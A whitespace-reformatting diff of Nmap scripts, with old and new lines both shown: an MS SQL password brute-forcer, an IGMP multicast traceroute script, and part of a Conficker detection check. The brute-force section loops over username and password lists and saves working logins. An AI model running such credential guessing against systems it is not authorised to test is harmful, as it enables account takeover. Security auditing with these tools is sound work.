nmap.registry.mssqlusers[username]=password
end
end
instance.ms_sql_brute.credentials[ username ] = { password, loginErrorCode }
-- Add credentials for other ms-sql scripts to use but don't
-- add accounts that need to change passwords
if ( canLogin ) then
instance.credentials[ username ] = password
-- Legacy storage method (does not distinguish between instances)
nmap.registry.mssqlusers = nmap.registry.mssqlusers or {}
nmap.registry.mssqlusers[username]=password
end
end
return stopUser, stopInstance
return stopUser, stopInstance
end
--- Processes a single instance, attempting to detect an empty password for "sa"
local function process_instance( instance )
-- One of this script's features is that it will report an instance's
-- in both the port-script results and the host-script results. In order to
-- avoid redundant login attempts on an instance, we will just make the
-- attempt once and then re-use the results. We'll use a mutex to make sure
-- that multiple script instances (e.g. a host-script and a port-script)
-- working on the same SQL Server instance can only enter this block one at
-- a time.
local mutex = nmap.mutex( instance )
mutex( "lock" )
-- One of this script's features is that it will report an instance's
-- in both the port-script results and the host-script results. In order to
-- avoid redundant login attempts on an instance, we will just make the
-- attempt once and then re-use the results. We'll use a mutex to make sure
-- that multiple script instances (e.g. a host-script and a port-script)
-- working on the same SQL Server instance can only enter this block one at
-- a time.
local mutex = nmap.mutex( instance )
mutex( "lock" )
-- If this instance has already been tested (e.g. if we got to it by both the
-- hostrule and the portrule), don't test it again.
if ( instance.tested_brute ~= true ) then
instance.tested_brute = true
-- If this instance has already been tested (e.g. if we got to it by both the
-- hostrule and the portrule), don't test it again.
if ( instance.tested_brute ~= true ) then
instance.tested_brute = true
instance.credentials = instance.credentials or {}
instance.ms_sql_brute = instance.ms_sql_brute or {}
instance.ms_sql_brute.credentials = instance.ms_sql_brute.credentials or {}
instance.ms_sql_brute.warnings = instance.ms_sql_brute.warnings or {}
instance.ms_sql_brute.errors = instance.ms_sql_brute.errors or {}
instance.credentials = instance.credentials or {}
instance.ms_sql_brute = instance.ms_sql_brute or {}
instance.ms_sql_brute.credentials = instance.ms_sql_brute.credentials or {}
instance.ms_sql_brute.warnings = instance.ms_sql_brute.warnings or {}
instance.ms_sql_brute.errors = instance.ms_sql_brute.errors or {}
local result, status
local stopUser, stopInstance
local usernames, passwords, username, password
local helper = mssql.Helper:new()
local result, status
local stopUser, stopInstance
local usernames, passwords, username, password
local helper = mssql.Helper:new()
if ( not instance:HasNetworkProtocols() ) then
stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() )
table.insert( instance.ms_sql_brute.errors, "No network protocols enabled." )
stopInstance = true
end
if ( not instance:HasNetworkProtocols() ) then
stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() )
table.insert( instance.ms_sql_brute.errors, "No network protocols enabled." )
stopInstance = true
end
status, usernames = unpwdb.usernames()
if ( not(status) ) then
stdnse.print_debug( 1, "%s: Failed to load usernames list.", SCRIPT_NAME )
table.insert( instance.ms_sql_brute.errors, "Failed to load usernames list." )
stopInstance = true
end
status, usernames = unpwdb.usernames()
if ( not(status) ) then
stdnse.print_debug( 1, "%s: Failed to load usernames list.", SCRIPT_NAME )
table.insert( instance.ms_sql_brute.errors, "Failed to load usernames list." )
stopInstance = true
end
if ( status ) then
status, passwords = unpwdb.passwords()
if ( not(status) ) then
stdnse.print_debug( 1, "%s: Failed to load passwords list.", SCRIPT_NAME )
table.insert( instance.ms_sql_brute.errors, "Failed to load passwords list." )
stopInstance = true
end
end
if ( status ) then
status, passwords = unpwdb.passwords()
if ( not(status) ) then
stdnse.print_debug( 1, "%s: Failed to load passwords list.", SCRIPT_NAME )
table.insert( instance.ms_sql_brute.errors, "Failed to load passwords list." )
stopInstance = true
end
end
if ( status ) then
for username in usernames do
if stopInstance then break end
if ( status ) then
for username in usernames do
if stopInstance then break end
-- See if the password is the same as the username (which may not
-- be in the password list)
stopUser, stopInstance = test_credentials( instance, helper, username, username )
-- See if the password is the same as the username (which may not
-- be in the password list)
stopUser, stopInstance = test_credentials( instance, helper, username, username )
for password in passwords do
if stopUser then break end
for password in passwords do
if stopUser then break end
stopUser, stopInstance = test_credentials( instance, helper, username, password )
end
stopUser, stopInstance = test_credentials( instance, helper, username, password )
end
passwords("reset")
end
end
end
passwords("reset")
end
end
end
-- The password testing has been finished. Unlock the mutex.
mutex( "done" )
-- The password testing has been finished. Unlock the mutex.
mutex( "done" )
return create_instance_output_table( instance )
return create_instance_output_table( instance )
end
action = function( host, port )
local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
local domain, bruteWindows = stdnse.get_script_args("mssql.domain", "ms-sql-brute.brute-windows-accounts")
local domain, bruteWindows = stdnse.get_script_args("mssql.domain", "ms-sql-brute.brute-windows-accounts")
if ( domain and not(bruteWindows) ) then
local ret = "\n " ..
"Windows authentication was enabled but the argument\n " ..
"ms-sql-brute.brute-windows-accounts was not given. As there is currently no\n " ..
"way of detecting accounts being locked out when Windows authentication is \n " ..
"used, make sure that the amount entries in the password list\n " ..
"(passdb argument) are at least 2 entries below the lockout threshold."
return ret
end
if ( domain and not(bruteWindows) ) then
local ret = "\n " ..
"Windows authentication was enabled but the argument\n " ..
"ms-sql-brute.brute-windows-accounts was not given. As there is currently no\n " ..
"way of detecting accounts being locked out when Windows authentication is \n " ..
"used, make sure that the amount entries in the password list\n " ..
"(passdb argument) are at least 2 entries below the lockout threshold."
return ret
end
if ( not status ) then
return stdnse.format_output( false, instanceList )
else
for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance )
if instanceOutput then
table.insert( scriptOutput, instanceOutput )
end
end
end
if ( not status ) then
return stdnse.format_output( false, instanceList )
else
for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance )
if instanceOutput then
table.insert( scriptOutput, instanceOutput )
end
end
end
return stdnse.format_output( true, scriptOutput )
return stdnse.format_output( true, scriptOutput )
end

View File

@@ -69,47 +69,47 @@ categories = {"discovery", "safe", "broadcast"}
-- From: https://tools.ietf.org/id/draft-ietf-idmr-traceroute-ipm-07.txt
PROTO = {
[0x01] = "DVMRP",
[0x02] = "MOSPF",
[0x03] = "PIM",
[0x04] = "CBT",
[0x05] = "PIM / Special table",
[0x06] = "PIM / Static",
[0x07] = "DVMRP / Static",
[0x08] = "PIM / MBGP",
[0x09] = "CBT / Special table",
[0x10] = "CBT / Static",
[0x11] = "PIM / state created by Assert processing",
[0x01] = "DVMRP",
[0x02] = "MOSPF",
[0x03] = "PIM",
[0x04] = "CBT",
[0x05] = "PIM / Special table",
[0x06] = "PIM / Static",
[0x07] = "DVMRP / Static",
[0x08] = "PIM / MBGP",
[0x09] = "CBT / Special table",
[0x10] = "CBT / Static",
[0x11] = "PIM / state created by Assert processing",
}
FWD_CODE = {
[0x00] = "NO_ERROR",
[0x01] = "WRONG_IF",
[0x02] = "PRUNE_SENT",
[0x03] = "PRUNE_RCVD",
[0x04] = "SCOPED",
[0x05] = "NO_ROUTE",
[0x06] = "WRONG_LAST_HOP",
[0x07] = "NOT_FORWARDING",
[0x08] = "REACHED_RP",
[0x09] = "RPF_IF",
[0x0A] = "NO_MULTICAST",
[0x0B] = "INFO_HIDDEN",
[0x81] = "NO_SPACE",
[0x82] = "OLD_ROUTER",
[0x83] = "ADMIN_PROHIB",
[0x00] = "NO_ERROR",
[0x01] = "WRONG_IF",
[0x02] = "PRUNE_SENT",
[0x03] = "PRUNE_RCVD",
[0x04] = "SCOPED",
[0x05] = "NO_ROUTE",
[0x06] = "WRONG_LAST_HOP",
[0x07] = "NOT_FORWARDING",
[0x08] = "REACHED_RP",
[0x09] = "RPF_IF",
[0x0A] = "NO_MULTICAST",
[0x0B] = "INFO_HIDDEN",
[0x81] = "NO_SPACE",
[0x82] = "OLD_ROUTER",
[0x83] = "ADMIN_PROHIB",
}
prerule = function()
if nmap.address_family() ~= 'inet' then
stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME)
return false
end
if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false
end
return true
if nmap.address_family() ~= 'inet' then
stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME)
return false
end
if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false
end
return true
end
--- Generates a raw IGMP Traceroute Query.
@@ -119,19 +119,19 @@ end
--@param receiver Receiver of the response.
--@return data Raw Traceroute Query.
local traceRaw = function(fromip, toip, group, receiver)
local data = bin.pack(">C", 0x1f) -- Type: Traceroute Query
local data = data .. bin.pack(">C", 0x20) -- Hops: 32
local data = data .. bin.pack(">S", 0x0000) -- Checksum: To be set later
local data = data .. bin.pack(">I", ipOps.todword(group)) -- Multicast group
local data = data .. bin.pack(">I", ipOps.todword(fromip)) -- Source
local data = data .. bin.pack(">I", ipOps.todword(toip)) -- Destination
local data = data .. bin.pack(">I", ipOps.todword(receiver)) -- Receiver
local data = data .. bin.pack(">C", 0x40) -- TTL
local data = data .. bin.pack(">CS", 0x00, math.random(123456)) -- Query ID
local data = bin.pack(">C", 0x1f) -- Type: Traceroute Query
local data = data .. bin.pack(">C", 0x20) -- Hops: 32
local data = data .. bin.pack(">S", 0x0000) -- Checksum: To be set later
local data = data .. bin.pack(">I", ipOps.todword(group)) -- Multicast group
local data = data .. bin.pack(">I", ipOps.todword(fromip)) -- Source
local data = data .. bin.pack(">I", ipOps.todword(toip)) -- Destination
local data = data .. bin.pack(">I", ipOps.todword(receiver)) -- Receiver
local data = data .. bin.pack(">C", 0x40) -- TTL
local data = data .. bin.pack(">CS", 0x00, math.random(123456)) -- Query ID
-- We calculate checksum
data = data:sub(1,2) .. bin.pack(">S", packet.in_cksum(data)) .. data:sub(5)
return data
-- We calculate checksum
data = data:sub(1,2) .. bin.pack(">S", packet.in_cksum(data)) .. data:sub(5)
return data
end
--- Sends a raw IGMP Traceroute Query.
@@ -139,125 +139,125 @@ end
--@param destination Target host to which the packet is sent.
--@param trace_raw Traceroute raw Query.
local traceSend = function(interface, destination, trace_raw)
local ip_raw = bin.pack("H", "45c00040ed780000400218bc0a00c8750a00c86b") .. trace_raw
local trace_packet = packet.Packet:new(ip_raw, ip_raw:len())
trace_packet:ip_set_bin_src(ipOps.ip_to_str(interface.address))
trace_packet:ip_set_bin_dst(ipOps.ip_to_str(destination))
trace_packet:ip_set_len(#trace_packet.buf)
trace_packet:ip_count_checksum()
local ip_raw = bin.pack("H", "45c00040ed780000400218bc0a00c8750a00c86b") .. trace_raw
local trace_packet = packet.Packet:new(ip_raw, ip_raw:len())
trace_packet:ip_set_bin_src(ipOps.ip_to_str(interface.address))
trace_packet:ip_set_bin_dst(ipOps.ip_to_str(destination))
trace_packet:ip_set_len(#trace_packet.buf)
trace_packet:ip_count_checksum()
if destination == "224.0.0.2" then
-- Doesn't affect results as it is ignored but most routers, but RFC
-- 3171 should be respected.
trace_packet:ip_set_ttl(1)
end
trace_packet:ip_count_checksum()
if destination == "224.0.0.2" then
-- Doesn't affect results as it is ignored but most routers, but RFC
-- 3171 should be respected.
trace_packet:ip_set_ttl(1)
end
trace_packet:ip_count_checksum()
local sock = nmap.new_dnet()
if destination == "224.0.0.2" then
sock:ethernet_open(interface.device)
-- Ethernet IPv4 multicast, our ethernet address and packet type IP
local eth_hdr = bin.pack("HAH", "01 00 5e 00 00 02", interface.mac, "08 00")
sock:ethernet_send(eth_hdr .. trace_packet.buf)
sock:ethernet_close()
else
sock:ip_open()
sock:ip_send(trace_packet.buf, destination)
sock:ip_close()
end
local sock = nmap.new_dnet()
if destination == "224.0.0.2" then
sock:ethernet_open(interface.device)
-- Ethernet IPv4 multicast, our ethernet address and packet type IP
local eth_hdr = bin.pack("HAH", "01 00 5e 00 00 02", interface.mac, "08 00")
sock:ethernet_send(eth_hdr .. trace_packet.buf)
sock:ethernet_close()
else
sock:ip_open()
sock:ip_send(trace_packet.buf, destination)
sock:ip_close()
end
end
--- Parses an IGMP Traceroute Response and returns it in structured form.
--@param data Raw Traceroute Response.
--@return response Structured Traceroute Response.
local traceParse = function(data)
local index
local response = {}
local index
local response = {}
-- first byte should be IGMP type == 0x1e (Traceroute Response)
if data:byte(1) ~= 0x1e then return end
-- first byte should be IGMP type == 0x1e (Traceroute Response)
if data:byte(1) ~= 0x1e then return end
-- Hops
index, response.hops = bin.unpack(">C", data, 2)
-- Hops
index, response.hops = bin.unpack(">C", data, 2)
-- Checksum
index, response.checksum = bin.unpack(">S", data, index)
-- Checksum
index, response.checksum = bin.unpack(">S", data, index)
-- Group
index, response.group = bin.unpack("<I", data, index)
response.group = ipOps.fromdword(response.group)
-- Group
index, response.group = bin.unpack("<I", data, index)
response.group = ipOps.fromdword(response.group)
-- Source address
index, response.source = bin.unpack("<I", data, index)
response.source = ipOps.fromdword(response.source)
-- Source address
index, response.source = bin.unpack("<I", data, index)
response.source = ipOps.fromdword(response.source)
-- Destination address
index, response.destination = bin.unpack("<I", data, index)
response.receiver = ipOps.fromdword(response.destination)
-- Destination address
index, response.destination = bin.unpack("<I", data, index)
response.receiver = ipOps.fromdword(response.destination)
-- Response address
index, response.response = bin.unpack("<I", data, index)
response.response = ipOps.fromdword(response.response)
-- Response address
index, response.response = bin.unpack("<I", data, index)
response.response = ipOps.fromdword(response.response)
-- Response TTL
index, response.ttl = bin.unpack(">C", data, index)
-- Response TTL
index, response.ttl = bin.unpack(">C", data, index)
-- Query ID
index, response.qid = bin.unpack(">C", data, index)
index, response.qid = response.qid * 2^16 + bin.unpack(">S", data, index)
-- Query ID
index, response.qid = bin.unpack(">C", data, index)
index, response.qid = response.qid * 2^16 + bin.unpack(">S", data, index)
local block
response.blocks = {}
-- Now, parse data blocks
while true do
-- To end parsing and not get stuck in infinite loops.
if index >= #data then
break
elseif #data - index < 31 then
stdnse.print_verbose("%s malformated traceroute response.", SCRIPT_NAME)
return
end
block = {}
-- Query Arrival
index, block.query = bin.unpack(">I", data, index)
-- In itf address
index, block.inaddr = bin.unpack("<I", data, index)
block.inaddr = ipOps.fromdword(block.inaddr)
-- Out itf address
index, block.outaddr = bin.unpack("<I", data, index)
block.outaddr = ipOps.fromdword(block.outaddr)
-- Previous rtr address
index, block.prevaddr = bin.unpack("<I", data, index)
block.prevaddr = ipOps.fromdword(block.prevaddr)
-- In packets
index, block.inpkts = bin.unpack(">I", data, index)
-- Out packets
index, block.outpkts = bin.unpack(">I", data, index)
-- S,G pkt count
index, block.sgpkt = bin.unpack(">I", data, index)
-- Protocol
index, block.proto = bin.unpack(">C", data, index)
-- Forward TTL
index, block.fwdttl = bin.unpack(">C", data, index)
-- Options
index, block.options = bin.unpack(">C", data, index)
-- Forwarding Code
index, block.code = bin.unpack(">C", data, index)
table.insert(response.blocks, block)
local block
response.blocks = {}
-- Now, parse data blocks
while true do
-- To end parsing and not get stuck in infinite loops.
if index >= #data then
break
elseif #data - index < 31 then
stdnse.print_verbose("%s malformated traceroute response.", SCRIPT_NAME)
return
end
return response
block = {}
-- Query Arrival
index, block.query = bin.unpack(">I", data, index)
-- In itf address
index, block.inaddr = bin.unpack("<I", data, index)
block.inaddr = ipOps.fromdword(block.inaddr)
-- Out itf address
index, block.outaddr = bin.unpack("<I", data, index)
block.outaddr = ipOps.fromdword(block.outaddr)
-- Previous rtr address
index, block.prevaddr = bin.unpack("<I", data, index)
block.prevaddr = ipOps.fromdword(block.prevaddr)
-- In packets
index, block.inpkts = bin.unpack(">I", data, index)
-- Out packets
index, block.outpkts = bin.unpack(">I", data, index)
-- S,G pkt count
index, block.sgpkt = bin.unpack(">I", data, index)
-- Protocol
index, block.proto = bin.unpack(">C", data, index)
-- Forward TTL
index, block.fwdttl = bin.unpack(">C", data, index)
-- Options
index, block.options = bin.unpack(">C", data, index)
-- Forwarding Code
index, block.code = bin.unpack(">C", data, index)
table.insert(response.blocks, block)
end
return response
end
-- Listens for IGMP Traceroute responses
@@ -265,129 +265,129 @@ end
--@param timeout Amount of time to listen for in seconds.
--@param responses table to insert responses into.
local traceListener = function(interface, timeout, responses)
local condvar = nmap.condvar(responses)
local start = nmap.clock_ms()
local listener = nmap.new_socket()
local p, trace_raw, status, l3data, response, _
local condvar = nmap.condvar(responses)
local start = nmap.clock_ms()
local listener = nmap.new_socket()
local p, trace_raw, status, l3data, response, _
-- IGMP packets that are sent to our host
local filter = 'ip proto 2 and dst host ' .. interface.address
listener:set_timeout(100)
listener:pcap_open(interface.device, 1024, true, filter)
-- IGMP packets that are sent to our host
local filter = 'ip proto 2 and dst host ' .. interface.address
listener:set_timeout(100)
listener:pcap_open(interface.device, 1024, true, filter)
while (nmap.clock_ms() - start) < timeout do
status, _, _, l3data = listener:pcap_receive()
if status then
p = packet.Packet:new(l3data, #l3data)
trace_raw = string.sub(l3data, p.ip_hl*4 + 1)
if p then
-- Check that IGMP Type == 0x1e (Traceroute Response)
if trace_raw:byte(1) == 0x1e then
response = traceParse(trace_raw)
if response then
response.srcip = p.ip_src
table.insert(responses, response)
end
end
end
end
while (nmap.clock_ms() - start) < timeout do
status, _, _, l3data = listener:pcap_receive()
if status then
p = packet.Packet:new(l3data, #l3data)
trace_raw = string.sub(l3data, p.ip_hl*4 + 1)
if p then
-- Check that IGMP Type == 0x1e (Traceroute Response)
if trace_raw:byte(1) == 0x1e then
response = traceParse(trace_raw)
if response then
response.srcip = p.ip_src
table.insert(responses, response)
end
end
end
end
condvar("signal")
end
condvar("signal")
end
-- Returns the network interface used to send packets to a target host.
--@param target host to which the interface is used.
--@return interface Network interface used for target host.
local getInterface = function(target)
-- First, create dummy UDP connection to get interface
local sock = nmap.new_socket()
local status, err = sock:connect(target, "12345", "udp")
if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return
end
local status, address, _, _, _ = sock:get_info()
if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return
end
for _, interface in pairs(nmap.list_interfaces()) do
if interface.address == address then
return interface
end
-- First, create dummy UDP connection to get interface
local sock = nmap.new_socket()
local status, err = sock:connect(target, "12345", "udp")
if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return
end
local status, address, _, _, _ = sock:get_info()
if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return
end
for _, interface in pairs(nmap.list_interfaces()) do
if interface.address == address then
return interface
end
end
end
action = function()
local fromip = stdnse.get_script_args(SCRIPT_NAME .. ".fromip")
local toip = stdnse.get_script_args(SCRIPT_NAME .. ".toip")
local group = stdnse.get_script_args(SCRIPT_NAME .. ".group") or "0.0.0.0"
local firsthop = stdnse.get_script_args(SCRIPT_NAME .. ".firsthop") or "224.0.0.2"
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
local responses = {}
timeout = (timeout or 7) * 1000
local fromip = stdnse.get_script_args(SCRIPT_NAME .. ".fromip")
local toip = stdnse.get_script_args(SCRIPT_NAME .. ".toip")
local group = stdnse.get_script_args(SCRIPT_NAME .. ".group") or "0.0.0.0"
local firsthop = stdnse.get_script_args(SCRIPT_NAME .. ".firsthop") or "224.0.0.2"
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
local responses = {}
timeout = (timeout or 7) * 1000
-- Source address from which to traceroute
if not fromip then
stdnse.print_verbose("%s: A source IP must be provided through fromip argument.", SCRIPT_NAME)
return
end
-- Get network interface to use
local interface = nmap.get_interface()
if interface then
interface = nmap.get_interface_info(interface)
else
interface = getInterface(firsthop)
end
if not interface then
return ("\n ERROR: Couldn't get interface for %s"):format(firsthop)
end
-- Destination defaults to our own host
toip = toip or interface.address
stdnse.print_debug("%s: Traceroute group %s from %s to %s.", SCRIPT_NAME, group, fromip, toip)
stdnse.print_debug("%s: will send to %s via %s interface.", SCRIPT_NAME, firsthop, interface.shortname)
-- Thread that listens for responses
stdnse.new_thread(traceListener, interface, timeout, responses)
-- Send request after small wait to let Listener start
stdnse.sleep(0.1)
local trace_raw = traceRaw(fromip, toip, group, interface.address)
traceSend(interface, firsthop, trace_raw)
local condvar = nmap.condvar(responses)
condvar("wait")
if #responses > 0 then
local outresp
local output, outblock = {}
table.insert(output, ("Group %s from %s to %s"):format(group, fromip, toip))
for _, response in pairs(responses) do
outresp = {}
outresp.name = "Source: " .. response.srcip
for _, block in pairs(response.blocks) do
outblock = {}
outblock.name = "In address: " .. block.inaddr
table.insert(outblock, "Out address: " .. block.outaddr)
-- Protocol
if PROTO[block.proto] then
table.insert(outblock, "Protocol: " .. PROTO[block.proto])
else
table.insert(outblock, "Protocol: Unknown")
end
-- Error Code, we ignore NO_ERROR which is the normal case.
if FWD_CODE[block.code] and block.code ~= 0x00 then
table.insert(outblock, "Error code: " .. FWD_CODE[block.code])
elseif block.code ~= 0x00 then
table.insert(outblock, "Error code: Unknown")
end
table.insert(outresp, outblock)
end
table.insert(output, outresp)
end
return stdnse.format_output(true, output)
-- Source address from which to traceroute
if not fromip then
stdnse.print_verbose("%s: A source IP must be provided through fromip argument.", SCRIPT_NAME)
return
end
-- Get network interface to use
local interface = nmap.get_interface()
if interface then
interface = nmap.get_interface_info(interface)
else
interface = getInterface(firsthop)
end
if not interface then
return ("\n ERROR: Couldn't get interface for %s"):format(firsthop)
end
-- Destination defaults to our own host
toip = toip or interface.address
stdnse.print_debug("%s: Traceroute group %s from %s to %s.", SCRIPT_NAME, group, fromip, toip)
stdnse.print_debug("%s: will send to %s via %s interface.", SCRIPT_NAME, firsthop, interface.shortname)
-- Thread that listens for responses
stdnse.new_thread(traceListener, interface, timeout, responses)
-- Send request after small wait to let Listener start
stdnse.sleep(0.1)
local trace_raw = traceRaw(fromip, toip, group, interface.address)
traceSend(interface, firsthop, trace_raw)
local condvar = nmap.condvar(responses)
condvar("wait")
if #responses > 0 then
local outresp
local output, outblock = {}
table.insert(output, ("Group %s from %s to %s"):format(group, fromip, toip))
for _, response in pairs(responses) do
outresp = {}
outresp.name = "Source: " .. response.srcip
for _, block in pairs(response.blocks) do
outblock = {}
outblock.name = "In address: " .. block.inaddr
table.insert(outblock, "Out address: " .. block.outaddr)
-- Protocol
if PROTO[block.proto] then
table.insert(outblock, "Protocol: " .. PROTO[block.proto])
else
table.insert(outblock, "Protocol: Unknown")
end
-- Error Code, we ignore NO_ERROR which is the normal case.
if FWD_CODE[block.code] and block.code ~= 0x00 then
table.insert(outblock, "Error code: " .. FWD_CODE[block.code])
elseif block.code ~= 0x00 then
table.insert(outblock, "Error code: Unknown")
end
table.insert(outresp, outblock)
end
table.insert(output, outresp)
end
return stdnse.format_output(true, output)
end
end

View File

@@ -89,31 +89,31 @@ local MAX_PACKET = 0x2000
-- Flags
local mode_flags =
{
FLAG_MODE = bit.lshift(1, 0),
FLAG_LOCAL_ACK = bit.lshift(1, 1),
FLAG_IS_TCP = bit.lshift(1, 2),
FLAG_IP_INCLUDED = bit.lshift(1, 3),
FLAG_UNKNOWN0_INCLUDED = bit.lshift(1, 4),
FLAG_UNKNOWN1_INCLUDED = bit.lshift(1, 5),
FLAG_DATA_INCLUDED = bit.lshift(1, 6),
FLAG_SYSINFO_INCLUDED = bit.lshift(1, 7),
FLAG_ENCODED = bit.lshift(1, 15)
FLAG_MODE = bit.lshift(1, 0),
FLAG_LOCAL_ACK = bit.lshift(1, 1),
FLAG_IS_TCP = bit.lshift(1, 2),
FLAG_IP_INCLUDED = bit.lshift(1, 3),
FLAG_UNKNOWN0_INCLUDED = bit.lshift(1, 4),
FLAG_UNKNOWN1_INCLUDED = bit.lshift(1, 5),
FLAG_DATA_INCLUDED = bit.lshift(1, 6),
FLAG_SYSINFO_INCLUDED = bit.lshift(1, 7),
FLAG_ENCODED = bit.lshift(1, 15)
}
---For a hostrule, simply use the 'smb' ports as an indicator, unless the user overrides it
hostrule = function(host)
if ( nmap.address_family() ~= 'inet' ) then
return false
end
if(smb.get_port(host) ~= nil) then
return true
elseif(nmap.registry.args.checkall == "true" or nmap.registry.args.checkall == "1") then
return true
elseif(nmap.registry.args.checkconficker == "true" or nmap.registry.args.checkconficker == "1") then
return true
end
if ( nmap.address_family() ~= 'inet' ) then
return false
end
if(smb.get_port(host) ~= nil) then
return true
elseif(nmap.registry.args.checkall == "true" or nmap.registry.args.checkall == "1") then
return true
elseif(nmap.registry.args.checkconficker == "true" or nmap.registry.args.checkconficker == "1") then
return true
end
return false
return false
end
-- Multiply two 32-bit integers and return a 64-bit product. The first return
@@ -124,21 +124,21 @@ end
--@param v Second number (0 <= v <= 0xFFFFFFFF)
--@return 64-bit product of u*v, as a pair of 32-bit integers.
local function mul64(u, v)
-- This is based on formula (2) from section 4.3.3 of The Art of
-- Computer Programming. We split u and v into upper and lower 16-bit
-- chunks, such that
-- u = 2**16 u1 + u0 and v = 2**16 v1 + v0
-- Then
-- u v = (2**16 u1 + u0) * (2**16 v1 + v0)
-- = 2**32 u1 v1 + 2**16 (u0 v1 + u1 v0) + u0 v0
assert(0 <= u and u <= 0xFFFFFFFF)
assert(0 <= v and v <= 0xFFFFFFFF)
local u0, u1 = bit.band(u, 0xFFFF), bit.rshift(u, 16)
local v0, v1 = bit.band(v, 0xFFFF), bit.rshift(v, 16)
-- t uses at most 49 bits, which is within the range of exact integer
-- precision of a Lua number.
local t = u0 * v0 + (u0 * v1 + u1 * v0) * 65536
return bit.band(t, 0xFFFFFFFF), u1 * v1 + bit.rshift(t, 32)
-- This is based on formula (2) from section 4.3.3 of The Art of
-- Computer Programming. We split u and v into upper and lower 16-bit
-- chunks, such that
-- u = 2**16 u1 + u0 and v = 2**16 v1 + v0
-- Then
-- u v = (2**16 u1 + u0) * (2**16 v1 + v0)
-- = 2**32 u1 v1 + 2**16 (u0 v1 + u1 v0) + u0 v0
assert(0 <= u and u <= 0xFFFFFFFF)
assert(0 <= v and v <= 0xFFFFFFFF)
local u0, u1 = bit.band(u, 0xFFFF), bit.rshift(u, 16)
local v0, v1 = bit.band(v, 0xFFFF), bit.rshift(v, 16)
-- t uses at most 49 bits, which is within the range of exact integer
-- precision of a Lua number.
local t = u0 * v0 + (u0 * v1 + u1 * v0) * 65536
return bit.band(t, 0xFFFFFFFF), u1 * v1 + bit.rshift(t, 32)
end
---Rotates the 64-bit integer defined by h:l left by one bit.
@@ -147,23 +147,23 @@ end
--@param l The low-order 32 bits
--@return 64-bit rotated integer, as a pair of 32-bit integers.
local function rot64(h, l)
local i
local i
assert(0 <= h and h <= 0xFFFFFFFF)
assert(0 <= l and l <= 0xFFFFFFFF)
assert(0 <= h and h <= 0xFFFFFFFF)
assert(0 <= l and l <= 0xFFFFFFFF)
local tmp = bit.band(h, 0x80000000) -- tmp = h & 0x80000000
h = bit.lshift(h, 1) -- h = h << 1
h = bit.bor(h, bit.rshift(l, 31)) -- h = h | (l >> 31)
l = bit.lshift(l, 1)
if(tmp ~= 0) then
l = bit.bor(l, 1)
end
local tmp = bit.band(h, 0x80000000) -- tmp = h & 0x80000000
h = bit.lshift(h, 1) -- h = h << 1
h = bit.bor(h, bit.rshift(l, 31)) -- h = h | (l >> 31)
l = bit.lshift(l, 1)
if(tmp ~= 0) then
l = bit.bor(l, 1)
end
h = bit.band(h, 0xFFFFFFFF)
l = bit.band(l, 0xFFFFFFFF)
h = bit.band(h, 0xFFFFFFFF)
l = bit.band(l, 0xFFFFFFFF)
return h, l
return h, l
end
@@ -177,15 +177,15 @@ end
--@param port The port to check
--@return true if the port is blacklisted, false otherwise
local function is_blacklisted_port(port)
local r, l
local r, l
local blacklist = { 0xFFFFFFFF, 0xFFFFFFFF, 0xF0F6BFBB, 0xBB5A5FF3, 0xF3977011, 0xEB67BFBF, 0x5F9BFAC8, 0x34D88091, 0x1E2282DF, 0x573402C4, 0xC0000084, 0x03000209, 0x01600002, 0x00005000, 0x801000C0, 0x00500040, 0x000000A1, 0x01000000, 0x01000000, 0x00022A20, 0x00000080, 0x04000000, 0x40020000, 0x88000000, 0x00000180, 0x00081000, 0x08801900, 0x00800B81, 0x00000280, 0x080002C0, 0x00A80000, 0x00008000, 0x00100040, 0x00100000, 0x00000000, 0x00000000, 0x10000008, 0x00000000, 0x00000000, 0x00000004, 0x00000002, 0x00000000, 0x00040000, 0x00000000, 0x00000000, 0x00000000, 0x00410000, 0x82000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000008, 0x80000000, };
local blacklist = { 0xFFFFFFFF, 0xFFFFFFFF, 0xF0F6BFBB, 0xBB5A5FF3, 0xF3977011, 0xEB67BFBF, 0x5F9BFAC8, 0x34D88091, 0x1E2282DF, 0x573402C4, 0xC0000084, 0x03000209, 0x01600002, 0x00005000, 0x801000C0, 0x00500040, 0x000000A1, 0x01000000, 0x01000000, 0x00022A20, 0x00000080, 0x04000000, 0x40020000, 0x88000000, 0x00000180, 0x00081000, 0x08801900, 0x00800B81, 0x00000280, 0x080002C0, 0x00A80000, 0x00008000, 0x00100040, 0x00100000, 0x00000000, 0x00000000, 0x10000008, 0x00000000, 0x00000000, 0x00000004, 0x00000002, 0x00000000, 0x00040000, 0x00000000, 0x00000000, 0x00000000, 0x00410000, 0x82000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000008, 0x80000000, };
r = bit.rshift(port, 5)
l = bit.lshift(1, bit.band(r, 0x1f))
r = bit.rshift(r, 5)
r = bit.rshift(port, 5)
l = bit.lshift(1, bit.band(r, 0x1f))
r = bit.rshift(r, 5)
return (bit.band(blacklist[r + 1], l) ~= 0)
return (bit.band(blacklist[r + 1], l) ~= 0)
end
